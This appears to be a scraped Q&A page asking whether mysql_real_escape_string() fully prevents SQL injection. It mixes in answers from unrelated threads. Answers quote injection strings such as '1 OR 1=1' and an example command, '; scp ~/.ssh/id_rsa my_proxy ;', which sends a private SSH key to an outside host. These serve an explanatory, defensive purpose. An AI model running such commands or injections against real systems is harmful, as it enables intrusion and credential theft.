Asked  7 Months ago    Answers:  5   Viewed   86 times

Is there an SQL injection possibility even when using mysql_real_escape_string() function?

Consider this sample situation. SQL is constructed in PHP like this:

$login = mysql_real_escape_string(GetFromPost('login'));
$password = mysql_real_escape_string(GetFromPost('password'));

$sql = "SELECT * FROM table WHERE login='$login' AND password='$password'";

I have heard numerous people say to me that code like that is still dangerous and possible to hack even with mysql_real_escape_string() function used. But I cannot think of any possible exploit?

Classic injections like this:

aaa' OR 1=1 --

do not work.

Do you know of any possible injection that would get through the PHP code above?

 Answers

20

Consider the following query:

$iId = mysql_real_escape_string("1 OR 1=1");    
$sSql = "SELECT * FROM table WHERE id = $iId";

mysql_real_escape_string() will not protect you against this. The fact that you use single quotes (' ') around your variables inside your query is what protects you against this. The following is also an option:

$iId = (int)"1 OR 1=1";
$sSql = "SELECT * FROM table WHERE id = $iId";
Wednesday, March 31, 2021
 
hjalpmig
answered 7 Months ago
37

SQL injection attacks happen when user input is improperly encoded. Typically, the user input is some data the user sends with her query, i.e. values in the $_GET, $_POST, $_COOKIE, $_REQUEST, or $_SERVER arrays. However, user input can also come from a variety of other sources, like sockets, remote websites, files, etc.. Therefore, you should really treat everything but constants (like 'foobar') as user input.

In the code you posted, mysql_real_escape_string is used to encode(=escape) user inputs. The code is therefore correct, i.e. does not allow any SQL injection attacks.

Note that it's very easy to forget the call to mysql_real_escape_string - and one time is enough for a skilled attacker! Therefore, you may want to use the modern PDO with prepared statements instead of adodb.

Wednesday, March 31, 2021
 
gMale
answered 7 Months ago
18

It seems that you have Magic Quotes enabled. But you better disable this option or revert them. mysql_real_escape_string is more secure.

Wednesday, March 31, 2021
 
csi
answered 7 Months ago
csi
42

I think that you want:

INSERT INTO Contacts (id,group_id,company_id,email,name)
SELECT co.id,co.group_id,co.id,co.email,co.name
FROM company co
LEFT JOIN contacts c ON co.id = c.company_id
WHERE c.company_id IS NULL

This will insert all the information from contacts in company that wasn't already there. the column phone will be left null, since there is no information in contacts for that column.

Saturday, May 29, 2021
 
xenon
answered 5 Months ago
52

Common practice for customer-facing applications is to have an API-endpoint for each database query, which will require user authentication. The API server will then validate the input while formatting the query.

Directly exposing bash on server is never a good idea. Besides SQL injection, other much worse situations, like ; scp ~/.ssh/id_rsa my_proxy ;, can easily happen.


It appears that security is not OP's primary concern based on the comments below. Rather, the main focus is generating valid queries.

For that, the simplest solution is to perhaps use existing libraries, and let them handle the formatting. For example, in Python there is

https://dev.mysql.com/doc/connector-python/en/

Usually insertion should be done in batch for efficiency. But if preferred, you can write a script for inserting a row like

python3 tableX_insert.py --field1 value1 --field2 value2

I am sure in other languages similar modules for DB conn and cursor exist. Any effort to do the same with raw bash command line is re-inventing wheels.

Tuesday, August 31, 2021
 
TMichel
answered 2 Months ago
Only authorized users can answer the question. Please sign in first, or register a free account.
Not the answer you're looking for? Browse other questions tagged :